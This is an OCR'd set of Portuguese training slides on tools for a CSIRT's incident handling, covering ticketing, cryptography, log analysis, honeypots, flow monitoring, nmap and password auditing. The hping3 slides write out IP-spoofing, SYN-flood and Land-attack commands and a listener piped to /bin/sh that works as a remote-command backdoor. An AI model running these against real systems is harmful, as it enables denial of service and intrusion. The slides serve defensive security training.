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Agenda BELLA

-

e Geréncia de Inventario de Tl

* Base de conhecimento: Wiki, RT

* Ferramentas de criptografia: gpg, openssl
 Ferramentas de apoio ao tratamento de Incidentes
* Deteccao de atividade maliciosa: Honeypot, NFSEN
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Fonte: Incident Lifecicle - Computer Security Incident Handling Guide, NIST ‘



Gestdo de Inventariode Tl € 7

Inventario de Ativos de Tl: registro documentado da relacao de ativos
de informacao da organizacao

- Meios de armazenamento, transmissao e processamento da informacao; equipamentos e
sistemas utilizados para tal; itens de configuracao dos servicos de Tl; HW e SW

Contatos administrativos/técnicos
InformacoOes sobre suporte, garantia e licenciamento
Servicos suportados pelo ativo

Local de divulgacao de informacdes de seguranca do ativo (Security
Advisories)

Livro de registro do ativo



- Gestdo de Inventariode TI € 7

e Existem diversas formas de manter um inventario

- Desde planilhas até sistemas de varredura ou agentes instalados nos ativos

* Antes de partir para as ferramentas de inventario, € necessario
definir papéeis e responsabilidades
— Como as informacdes serao obtidas?
— Qual a frequéncia?

- Quem é responsavel pela manutencao do inventario?

 Exemplos:

- 0OCS-ngq, iTop,Wiki, Racktables, OpenDCIM, fping, nmap, OSSIM, Zabbix (auto
discovery), Vmware inventory, etc

Fonte: curso Gestao de Vulnerabilidade, SCI 2015, André Landim/RNP



Gestao de Inventario de T ¢
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Gestao de Inventario de TI B(;LL)A
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Imagem: Racktables



Gestao de Inventario de TI
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- Wiki e )
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 Ferramenta de CMS que facilita a edicao colaborativa
- Auto link com WikiWords
— Controle de versao
- Edicao colaborativa
- Edicao texto (Markdown) ou WYSIWYG

— Controle de acesso com usuarios € grupos

 Diversas ferramentas: MediaWiki, Foswiki, Trac, Gitlab,
DokuWiki...

e Base de conhecimento do CSIRT
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- Wiki - Foswiki ¢

e Sistema utilizado na UFBA para apoio ao Tratamento de
Incidentes i
- Gestao de Processos (documentacgao) EM‘CONST_RUCAT'\\\
- Gestao de Contatos [falizar”escrit }i {(es\]\
- Inventario (ex: sites, servidores, etc) ("'I'E_M_RWISAJ*E_ /' 'I‘
+ Integragio com LDAP o R
° e |

WorkflowPlugin para documentacoes

T T i
/7 AGUARDANDO  / |
‘. APROVACAO r

* Facilita colaboragao, com seguranga o l |

1 {todas) I/
/

-:/ APROVADO “j;.--f/
Exemplo de fluxo
com WorkflowPlugin
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Sistema de Tiquetes - RT

e O tratamento de incidentes requer um sistema de tiquetes

Registro e acompanhamento de notificacdes (ID do incidente)

Ponto central de armazenamento de informacdes sobre o incidente (E-mail + web)
Extracao de meta-informacoes para estatisticas

Acompanhamento de pendéncias e divisao de tarefas na equipe

Automatizacao de tarefas (API, cmdline, web)

* Solucao utilizada pela UFBA/PoP-BA: RT (Request Tracker)

https://bestpractical.com/request-tracker
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Sistema de Tiquetes - RT

RT for fsck.com

Logged in as trs | Preferences | Logout

i #14974: New permission to allow initial CF setup on a ticket ( New ticket in Search...
Simple Search Display - History - Basics - Dates - People - Links - Jumba
ke Take --- Comment - Reply - Forward - Resolve - b
New Search ;
Edit Search Ticket metadata
Advanced A % A "
Show Results The Basics ]
Bulk Update Id: 14974 Created: Fri May 28 05:55:41 2010
Graph Status: open Stards: Not set
<< First Priority:  50/50 Started: Mot set
< Prav Quewve: rt3 Last Contact: Thu Jun 03 13:24:38 2010
#14974 Due: Mot sat
Closed: Mot sat
MNext = v
= Custom Filelds Updated. Thu Jun 03 13:24:38 2010 by jesse
ools
Configuration
Prefe i b4 '
elerences Pﬂoplﬁ Links
Approval c :

Fa

Histo
gl Brief headers — Full headers

Fri May 28 05:55:41 2010 Emmanuel Lacour - Ticket created Reply Comment Forward

Subject: New permission to allow initial CF setup on a ticket

Download (untitled) / with headers :
text/plain 349b |

Would be nice to have a permission that just allow a requestor to fill customfield at ticket
creation time, then no modification is allowed (unless we grant ModifyCustomField).

Something like "SetupCustomField" that may be applied to queues, global or on a CustomField, with the rule that the value
can only be set if current value is emptyfundef.

Building the Europe Link to Latin America




Sistema de Tiquetes - RT

Permite criar dashboards e fluxos de trabalho especificos
Controle de acesso integrado com LDAP

Totalmente customizavel via plugins, via scrips, configuracao
- API REST, API perl, ferramentas de cmdline, E-mail, Web, etc

Plugin especifico para seguranca

- RT for Incident Response (RTIR)



Sistema de Tiquetes - RTIR € °
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Incident #8: Spammers are attacking customer machines (New ticket in | [TI2NCD [  Search incidents

Display - Edit - Spltt - Merge - Advanced

e
( Results |

» Ticket B created in gueue 'Incidents’

& Incident #8 SRS Incident Reports

Ownier:  Enoch Root | Mew | Link |
Staie: open
Suyect Spammers are attacking customer machines
Description: no value
Pricrity: Low/MNone
Time Worked: 0 min
Constiluency: EDUMET
Funciion: IncidentCoord
Classificaton. Spam a
Resolution: na value History

Reply to Reporters - Reply to All - Resolve - Quick Resolve - Abandon - Comment - Lock - 5% - Extract Article

6 Someone broke into out serverlll] open T days

{No inaclive Incident Reports)

P Address: 2 :g-?—?-,j__, ﬂ Mon Feb 08 16:48:11 2010 Enoch Root - Ticket created
' Subject: under attack!!!

Age. (no valua)
help! I'm being attacked by 127.0.0.1 [lookup IP][Add IP]

And my server keeps 1rying to connect to a.gtid-servers.net [lookup host]

Investigations
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Ferramentas de criptografia BELLA

* Ferramentas de criptografia fazem parte do conjunto basico de
suporte do CSIRT
- Cifragem de informacdes sensiveis sobre um incidente
- Investigacao de um incidente (e.g. ransomware)
- Assinatura digital nas notificagcdes e mensagens do CSIRT
- Integridade de arquivos (preservacao de evidéncias)
— Auditoria de sistemas (SSL/TLS, senhas, etc)

* Pacotes de destaque:
- GGP, OpenSSL, etc.



r PGP (Pretty Good Privacy) ¢

Building the Europe Link to Latin America

* Baseado em criptografia assimétrica (chave publica e privada)

4 Autenticacao (via assinatura digital)

4 Confidencialidade (via encriptacao)

- Integridade (via assinatura digital)

 PGP: um dos primeiros softwares a implementar criptografia assimétrica
« GPG: implementacao livre do OpenPGP
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Criptografia assimétrica ¢

* Par de chaves _ o
- Publica e Privada Confidencialidade

A# %10\
@j_Aj8.
*@ * T&a+s

Cel*/=
| Fulano | Chave PUBLICA

de Beltrano I

| —
- | —
Chave PRIVADA —
de Beltrano
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Criptografia assimétrica (- ')

 Par de chaves

- Pdblica e Privada Autenticidade
A#%
@j_Aj8.
')" 7&a+s
| c61*7=
" Fulano | Chave PRIVADA

P~ >

Chave PUBLICA

|
IIIV




¢Y

Passos para uso BELLA

* Criacao de chave publica/privada

— Gerar chave de revogacao

* Envio/disponibilizacao da sua chave publica
* Importacao da chave de outros usuarios

e Assinatura de chaves
- Web-of-trust

Obter lista de chaves revogadas

Criptografar arquivos, pastas, e-mails



L ¢
GPG — Comandos uteis BELLA
* #gpg --gen-key
* # gpg --list-keys
* # gpg -s --clearsign arquivo.txt
* # gpg --encrypt arquivo
e # gpg --export -a csirt@csirt.com >chave-publica_ CSIRT A.txt
* # gpg --import chave-publica_ CSIRT X.tx
* # wget http://www.cert.br/pgp/CERTbr.asc; gpg -import CERTbr.asc
* # man gpg
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e # openssl rand -base64 12

¢

OpenSSL - canivete suico da criptografia BeLLA

# openssl req -out mycert.csr -new -newkey rsa:2048 -nodes -keyout mykey.key

# openssl x509 -in certificate.crt -text
# openssl dgst -sha256 /path/to/file
# openssl s_client -connect example.com:443

# openssl enc -base64 -in number.txt

# openssl enc -aes-256-cbc -in plain.txt -out encrypted.bin

# openssl enc -aes-256-cbc -d -in encrypted.bin -out myout.txt

# man openssl|
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Ferramentas de apoioao € ?
- BELLA
Tratamento de Incidentes  ZE--4

* Analise de logs
* Auditoria do sistema
 Contencao ou remediacao
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Processamento de Logs BELLA

Os logs descrevem eventos registrados por
dispositivos ou aplicacdes, podendo conter
diferentes niveis de detalhamento de informacdes.

Sao importantes fontes de informacoes para o
gerenciamento de recursos de sistemas
computacionais.
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Processamento de Logs T
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* Formato comumente utilizado no Linux:

- Syslog, texto simples, json
Jan 28 11:42:59 sshd[1184]: server Accepted password for teste
from 10.10.10.10 port 6541 ssh?

H Event Viewer

File Action View Help
& = | E|@m| 2
53| Event Wiewer (Local) | Application 444 event(s)
Type | Date | Tirne I Source | Category | Event &
& g‘;z‘;;" @irformation  2/16/2006  8:02:22PM  Msilnstaller None 1728 —
. . 1) Internet Explorer eErmr 2/18/2006 3:02:18PM  MET Runtime Mone 1}

] Am b I e ntes WI n d OWS - Error 2/18j2006 12:16:26 .., Microsoft Office 11 Mane 1000

" @Information 2/18j2006 12:09:00 ... Microsoft Office 11 MNone 1001

QErrar 211812006 12:08:45 ... Microsoft Office 11 Mare 1000

. eErrur ZI17j2006 3:43:44 PM  Application Hang (101) 1002

- Eve N t viewer € Error 2}17/2006 5:143:41 PM  Application Hang {101} 1002

eErrc-r 2{17j2006 7144:32PM  Application Hang Mone 1001

QError 21172006 7:44:29PM  Application Hang (101) 1002

tsj,)lnfarn'nation 211712006 12:32:09 PM  Msilnstaller Marie 11707
@ Irformation  2/17/2006 1:00:59 AM  MSSQLESQLEXPRESS (2) 17403

@Iﬂfurrﬂat‘loﬂ 21162006 7:113:49PM  Winlogon More 1002

@Infarmation 2116)2006 S:55:50PM  MET Runtime Optimiza.,. Mone 1104

L'E)lnl”:-rn'laticm 2i16)2006 5:55:50PM  .MET Runtime Optimiza... Mone 1102

B Information  2/16/2006 5:55:50PM  NET Runtime Optimiza.,. Mane 1100

@Information 2116/2006 5:55:50PM  .MET Runtime Optimiza... Mone 1102
‘éi)lnfurmation /162006 5:55:50PM  .MET Runtime Opkimiza... Mone 100 ™

?




r Fluxo de Informacao
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Filtragem

Identificar mensagens de logs

segundo um critério pre-definido.

Serverlxpto:~# egrep 'sshd.*: Failed password' /var/log/auth.log | awk
"{print $(NF-3)}' | sort | uniq -c | sort -n | tail -n 5
74 165.227.122.251
95 106.13.140.252
201 49.88.112.115
470 218.92.0.160
3560 218.92.0.161




Filtragem - Utilitarios no Linux g;L[{

Building the Europe Link to Latin America

cut: separa linhas em campos

sort: ordena as linhas

uniq: exibe linhas unicas (contagem)

wc: conta linhas, palavras e caracteres

tee: copia a entrada em duas saidas

head e tail: Ié do comeco de arquivo e da saida

grep: localizar padrdes ou expressoes regulares em arquivos texto
awk: ferramenta versatil para processar textos

sed: ferramenta muito flexivel para realizar buscas e substituicdes
]




Normalizacao

Organizar as diferentes mensagens e formatos de

logs de modo a minimizar redundancia dos dados.

Origem/Destino

Porta

Tempo

Nome de usuario

Protocolo

Evento/Notificacaol/Alerta

¢

Building the Europe Link to Latin America




- Normalizacao ¢

BELLA
user@server:—$ cat Log-serverl.txt | awk -F ',"{print "DATA="$3$4 ", IP="$1 ", "$13 $14}" &&
cat Log-server2.txt | awk -F'''{print "DATA="$4 ", IP="$1 ", "$6 $7}' | tr -d ""['

DATA= 03/20/01 7:55:20 , I1P=192.168.114.201, GET /DeptlLogo.gif

DATA= 31/Dec/2007:00:17:10, IP=192.168.1.1, GET/cgi-bin/example.cgi




-

Geolocalizacao

# apt-get install geoip-bin geoip-database-contrib
# geoiplookup 200.130.99.56
GeolP Country Edition: BR, Brazil

GeolP City Edition, Rev 1: BR, N/A, N/A, N/A, N/A, -22.830500, -43.219200, 0, 0
GeolP ASNum Edition: AS1916 Associacao Rede Nacional de Ensino e Pesquisa

Atencao para IPs anonimizados via rede Tor:

https:/Imetrics.torproject.orglexonerator.html

X

Building the Europe Link to Latin America
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O CSIRT deve ter suas proprias ferramentas de deteccao de
atividade maliciosa

- Antecipacao da deteccao de ataques

Ferramentas de deteccio € 7

- Firewall tende a ocultar comportamento malicioso na rede interna (default deny)

- Mais eventos de segurancga ajudam na correlacao e analise de incidentes
— Verificacao da saude do ambiente

* Diversas estratégias:

- IDS, honeypot, analise de fluxos de rede, analise de logs, varredura de rede, analise de
consultas DNS, etc



Honeypot ¢

Building the Europe Link to Latin America

 Honeypot € um recurso computacional de seguranca dedicado a
ser sondado, atacado ou comprometido (CERT.br)

- Baixa interatividade

- Alta interatividade

* Projetos liderados pelo CERT.br

- honeyTARG
- SpamPots

- https://honeytarg.cert.br/

https://honeytarg.cert.br/honeypots/index-po.html



- Honeypot — Principios basicos € )

Building the Europe Link to Latin America

 Honeypot nao € um sistema de producao, nao € divulgado

— Todo fluxo direcionado ou originado no honeypot € malicioso por natureza

* A armadilha precisa ser bem feita para coletar dados
Interessantes e nao ser desmascarado

* O honeypot pode estar oculto entre os demais servidores da DMZ
ou ter uma rede propria

* Honeypot pode ser implantado na Intranet
* Honeypot de 802.11, loT, etc

https://www.first.org/resources/papers/conference2006/veysset-franck-slides.pdf



Honeypot — Baixa Interatividade ¢

Building the Europe Link to Latin America

 Emula os servicos, redes e sistemas
* Registra em log as interacoes

https://www.first.org/resources/papers/conference2006/veysset-franck-slides.pdf ‘



' Honeypot — Alta Interatividade ¢

Building the Europe Link to Latin America

* Acesso completo aos SO e servicos
 Capaz de detectar ataques 0-day

l%

https://www.first.org/resources/papers/conference2006/veysset-franck-slides.pdf




Honeyd ESEL:)A

Building the Europe Link to Latin America

e Software antigo, porém estavel e customizavel como solugcao de
honeypot de baixa e media interatividade (http://www.honey.org)

route entry 10.0.0.1

route 10.0.0.1 link 10.0.0.0/24
route 10.0.0.1 add net 10.1.0.0/16 10.1.0.1 latency 55ms loss 0.1
route 10.0.0.1 add net 10.2.0.0/16 10.2.0.1 latency 20ms loss 0.1
route 10.1.0.1 link 10.1.0.0/24
route 10.2.0.1 link 10.2.0.0/24

create routerone

set routerone personality "Cisco 7206 running I0S 11.1(24)"
set routerone default tcp action reset

add routerone tcp port 23 "scripts/router-telnet.pl"

create netbsd

set netbsd personality "NetBSD 1.5.2 running on a Commodore Amiga (68040 processor)"
set netbsd default tcp action reset

add netbsd tcp port 22 proxy $ipsrc:22

add netbsd tcp port 80 "sh scripts/web.sh"

bind 10.0.0.1 routerone
bind 10.1.0.2 netbsd




Honeyd — fake services

HELO first.org

250 intranet ...

HELO volt.com
250 intranet ...

https://www.first.org/resources/papers/conference2006/veysset-franck-slides.pdf



r Monitoramento de Fluxos ¢

Building the Europe Link to Latin America

Monitoramento tradicional nao fornece os detalhes suficientes para area
de redes ou seguranca

bits per second

00: 00 0&: 00 12: 00 18:00 00: 00 0&: 00
[ average bits in [ aAverage bits out

* O que causou esse pico no grafico?

e Quais sao os top talkers da sua rede?
* Quais os hosts envolvidos naquele ataque XYZ?

Existem maquinas acessando hosts maliciosos?




-

* O que sao fluxos de rede?

— € um sumario com varios pacotes de rede

. ' )
Monitoramento de Fluxos g;LL)A

— Apenas o cabecalho € coletado, por amostragem

 Para que serve?
— Apoiar o tratamento de incidentes de seguranca
- Detectar anomalias e tentativas de intrusao

- ldentificar computadores infectados, servidores comprometidos, envio de spam etc.



Monitoramento de Fluxos
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- Monitoramento de Fluxos € 7

BELLA
* Estudo de caso 1) maquina possivelmente infectada
Date flow start Duration FProto Src IFP Addr:Port Dst IF Addr:Port
2016-03-17 14:42:32.802 @.0060 TCP 200,128 . xxx.2:60272 -= B3 .xxx.xxx .47 :6667
2016-03-17 14:42:32.802 B.000 TCP 200,128 . xxx.2:60272 -= B3 .xxx.xxx .47 6667
(..)
2016-03-17 16:31:10.342 B.000 TCP 200,128 . xxx .2:60272 -> B3 .xxx.xxx .47 6667

* A equipe responsavel pela rede nao conseguiu identificar o host
iInterno que originou essa conexao



-

Monitoramento de Fluxos

Estudo de caso 2) intrusao em servidor

 |nvasor tinha a senha de uma conta com acesso remoto

* Todos os logs de auditoria foram apagados

 |dentificacdo do IP do atacante via sflow

pPate flow start

(...)

2016 -xx
2016 -xx
2016 -xx
(...)

2016 -xx
2016 -xx
2016 -xx

* Foi possivel também fazer correlagdo com outros eventos anteriores

- WX
- KX
- KX

-
- WX
- KX

K
XX
XX

XK
KK
XX

21
124
124

136
135
135

05
247,
1589

15

;54
Gl

.235

110

.506

701
.223
.464

Duration

3924
3720
3249

2932
3043
3034

373
248
@59

L3589
441
701

Froto Src
GRE 192
GRE 177
GRE 182
GRE 192
GRE 177
GRE 192

IF Addr:Port

K

-¥YY
XX

K

YYY
CHHX

Lxx L drn

YYY LYYy 2257
CKxx . 404942

Lxxx L 41500

WYY LYYy s B46e03
Cxxx . 454603

Dst

177
192
177

177
192
177

IF Addr:

-YYY
XXX

-YYY

-YYY
XXX

-YYY

YYY .
CHHX

-YYY -

YYY .
CKXX

-YYY -

4

Fort Fackets Bytes
Wyy 0 21504 132.1 M
4:1500 9216 1.0 M
yyy 15600 3072 1.5 M
yyy 54603 6912 1.6 M
4:1500 35328 3.5 M
yyy 1500 20736 5.7 M
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* Utilizadas no processo de troubleshooting, debug ou auditoria da
infraestrutura

e Mecanismo Passivo vs Ativo
 Exemplos:

— Teste de conectividade/aplicacao

- Analise de trafego

— Varredura de rede

— Auditar mecanismo de autenticacao
- Levantamento de vulnerabilidades
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Hping3 ¢

Ferramenta bastante util para testes de rede e seguranca
Suporta envio de pacotes ICMP, UDP e TCP

Util para ambientes com firewall e bloqueios convencionais (ex:
ping, traceroute)

Utilizado também para testes de |IP spoofing
Exemplo basico:

sudo hping3 -S -p 443 -c 10 mail.google.com




- Hping3 ¢

Atacante envia pacote para Servidor Destino
com origem da rede Provedor 3

| e

. il - - s
° IP SpOOflng Provedor 1 =" Provedor 2
192.0.2.0/24 198.51.100.0/24
- UDP e TCP 2001:db8:2:/48 > : 2001:db8:100::/48
(blind e nonblind) )T temat ) ——— %f;;;;ﬁgr
Atacante ’

. - : \ Anti-Spoofing: 60%
 Falsificacdo do endereco de origem . ; —
e Casos de uso: Provedor 3

~203.0.112.0/29
- Impedir identificacdo de ataques 200} b e 2
- Negacao de servico
- Ataques de amplificacao

Recomendacodes: BCP 38 / uRPF

https://observatory.manrs.org/
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Hping3

IP Spoofing
* Falsificacao para endereco especifico:

sudo hping3 -a 192.0.2.99 -S -p 443 -c 10 destino.com

» Falsificacao para endereco aleatorio:

sudo hping3 —--rand-source -S -p 443 -c 10 destino.com

* Origem=Destino (ataques “Land”):

sudo hping3 -S -s 443 -p 443 -a 10.0.0.1 10.0.0.1
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. ¢
Hping3 BELLA

e Synflood

sudo hping3 --rand-source -S -p 443 -i ul0000 wvitima.com

* PortScan
sudo hping3 -I eth0 --scan 20-25,80,443 -S alvo.com

- OBS: E possivel fazer scan com ip spoofed!

e Traceroute com TCP

sudo hping3 -S -p 443 —-traceroute destino.com
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Hping3

Backdoor
e Vitima

sudo hping3 -I eth0 —--listen segredo | /bin/sh

 Atacante

echo "“segredols -la /;"” | nc vitima.com 80




r Nmap e )
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e Ferramenta de varredura de vulnerabilidades
- http://nmap.org

» Suporta diversos tipos de scan
* Verificacao de S.O. e versao de software
* Engine de Scripts adicionais

- https://svn.nmap.org/nmap/scripts/
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Building the Europe Link to Latin America

* Escolha de portas:
--p U:53,111,137,T:21-25,80,139,8080
* Temporizacao / agressividade do scan:

--T5, -T4, ..., -T0
* Versao dos servicos:
- -sV

 Descoberta de hosts

- -P0O (sem descoberta), -PS (TCP SYN), -PA (TCP ACK), -PU
(UDP)




-

 Scan com TCP Syn e deteccao de versao:

# nmap -sV -PS 22,80,3306,8888 192.0.2.3

Nmap

* Scan de uma faixa de rede, sem ping, pelos
Servicos mais comuns:

# nmap -PO 192.0.2.30-140 198.51.100.0/24

* Scan de portas especificas (TCP e UDP), modo
rapido e com deteccao de versoes e SO:

# nmap -A -T4 -sS -sU —-p 53,161,443,25 exemplo.com
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» Utilizacao de script NSE para heartbleed:

# nmap -p T:443,25,465,587,143,110,993,995 \
——script ssl-heartbleed --script-trace 192.0.2.0/24

Starting Mmap 6.48 ( http://nmap.org ) at 2814-84-16 15:81 CEST
Mmap scan report for fileB.piraten.lan (18.18.18.8)

Host is up (@.816s latency]).

Mot shown: 993 closed ports

PORT STATE SERVICE VERSIOM

22/tcp open ssh Opens5H 6.8pl Debian 4 (protocol Z.8)
Bd/tcp open http Apache httpd 2.2.22 ((Debian)]
111/tcp open rpcbind 2-4 (RPC #leooeo)

139/tcp open nethios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

4437tcp open  ssl/http Apache httpd 2.2.22 ((Debian))

| ssl-heartbleed:

| VULMERABLE:

| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for
| State: VULNERAEBLE

| Risk factor: High

| Description:

| OpenSsSL wersions 1.8.1 and 1.8.2-beta releases (including 1.@8.1f and 1.8.2-betal) of OpenS5L are affected by th
d by the vulnerable OpenS5L wversions and could allow for disclosure of otherwise encrypted confidential information as
|

|

|

References:
http: /fcvedetails.com/fove,/2014-R168/
| http: /fwww.openssl.org/news/secadv_20140487 . txt
|_ https://fcve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2814-0168
4457tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP]
2849,/tcp open nfs Z2-4 (RPC #1008083)
Service Info: 05: Linux; CPE: cpe:fo:linux:linux_kernel
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- Nmap

» Utilizacao de script NSE para OpenDNS:

# nmap -sU -p 53 -script=dns—-recursion test.com

PORT STATE SERVICE REASON
53/udp open domain udp-response

| _dns—-recursion: Recursion appears to be enabled




r Auditoria de senhas ¢
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* (Ainda) Um dos principais mecanismos de autenticacao usados na
Internet

— Uso crescente de 2FA (Two Factor Authentication)
- Senhas de baixa complexidade e reuso

- Contantes “vazamentos” (havelbeenpwned.com)

* Riscos:
— Captura no dispositivo usado ou na rede trafegada
- Tentativas de adivinhacao
- Local onde sao armazenadas

- Engenharia social (phishing)
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 Convem que o CSIRT realize auditorias de senhas em seus
sistemas de informacao
— Como parte do Tratamento de Incidentes (analise de causa raiz)
- Analise de vulnerabilidades (monitor de vazamentos)
- Auditoria da Politica de Seguranca (senhas)

- Pentest (red team)

* Diversas tecnicas
— Ataques contra senhas armazenadas (rainbow tables)

— Brute-force / Dicionario
- Vulnerabilidades na transmissao (SSL/TLS)
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Building the Europe Link to Latin America

e Monitor de vazamentos

- https://haveibeenpwned.com/DomainSearch

* Atagues a senhas armazenadas

— http://project-rainbowcrack.com/table.htm

* Transmissao insegura
- https://www.ssllabs.com/ssltest/
— https://github.com/drwetter/testssl.sh
- https://certbahia.pop-ba.rnp.br/projects/h2t/



r Auditoria de senhas ¢
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* Brute-force / Dicionario
- https://tools.kali.org/password-attacks/hashcat
- https://tools.kali.org/password-attacks/hydra
- https://tools.kali.org/password-attacks/findmyhash

e Wordlist

- https://tools.kali.org/password-attacks/crunch
- https://tools.kali.org/password-attacks/cewl

- https://github.com/danielmiessler/SecLists/tree/master/Passwords
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